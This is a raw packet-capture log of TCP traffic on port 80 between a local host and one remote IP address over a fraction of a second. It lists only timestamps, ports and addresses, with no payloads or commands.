Jun 29, 2024 08:05:18.591839075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591862917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591869116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591897011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591912031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591931105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.591950893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591969967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.591979980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592015028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592026949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592047930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592081070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592103004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592128992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592129946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592161894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592175961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592195988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592206001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592230082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592247963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592263937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592272043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592297077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592319012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592329979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592341900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592366934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592379093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592400074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592416048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592432022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592453003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592467070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592487097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592530966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592564106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592590094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592596054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592612028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592629910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592634916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592670918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592740059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592772007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592787981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592806101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592813969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592916965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592948914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592971087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.592983961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.592998028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.593018055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.593030930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.593075991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.594788074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.594841003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.594845057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.594891071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.594944954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.594980001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.595011950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.595022917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.595045090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.595067024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.595081091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.595098019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.595124006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.666836023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.666873932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.666904926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.666907072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.666922092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.666941881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.666961908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.666980982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.666994095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667028904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667043924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667062998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667074919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667095900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667141914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667151928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667185068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667205095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667232990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667243004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667303085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667313099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667347908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667368889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667377949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667392969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667412043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667435884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667445898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667457104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667481899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667532921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667627096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667659044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667680025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667692900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667707920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667725086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667737007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667758942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667776108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667793036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667803049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667825937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667839050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667857885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667869091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667892933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667901993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667927980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.667941093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.667984962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.668066025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.668098927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.668117046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.668132067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.668142080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.668173075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678375006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678407907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678431988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678442001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678455114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678474903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678484917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678519964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678529024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678561926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678596973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678606033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678630114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678643942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678672075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678682089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678725958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678729057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678775072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678785086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678807974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678821087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678841114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678862095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678875923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.678889990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678922892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.678988934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679020882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679043055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679054976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679064035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679086924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679096937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679128885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679138899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679171085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679204941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679219961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679238081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679253101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679271936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679286957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679317951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679323912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679358006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679374933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679392099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679403067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679426908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679440975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679461956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679475069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679495096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679527998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679536104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679555893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679568052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679606915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679622889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679640055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679647923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679672956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679682970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679708004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679718018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679742098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679749012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679775000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679786921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679807901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679826975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679841042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679866076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679872990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679884911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679905891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.679908037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.679955959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.680049896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.680082083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.680116892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.680120945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.680146933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.680146933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.680169106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.680201054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682585001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682643890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682769060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682801962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682823896 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682836056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682847023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682883024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682884932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682934999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682945967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.682967901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.682981014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683001995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683017969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683058023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683080912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683109999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683144093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683157921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683180094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683195114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683217049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683221102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683258057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683268070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683300018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683312893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683335066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683347940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683374882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683383942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683404922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683461905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683549881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683581114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683604956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683615923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683641911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683649063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683656931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683682919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683691978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683716059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683727980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683762074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683768034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683806896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683836937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683851957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683871031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683887959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683921099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683943987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683959007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.683968067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.683993101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.684017897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.684025049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.684040070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.684060097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.684072971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.684099913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688245058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688306093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688402891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688436985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688463926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688502073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688740015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688774109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688793898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688807964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688827991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688841105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688873053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.688880920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.688910007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693517923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693553925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693583965 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693588018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693605900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693620920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693633080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693655014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693689108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693703890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693722010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693732023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693758011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.693767071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.693800926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756002903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756046057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756073952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756083012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756113052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756136894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756201029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756234884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756280899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756299973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756334066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756369114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756392002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756403923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756417036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756457090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756517887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756524086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756567955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756576061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756611109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756622076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756644964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:18.756655931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:18.756680965 CEST	80	49731	81.28.12.12	192.168.2.4
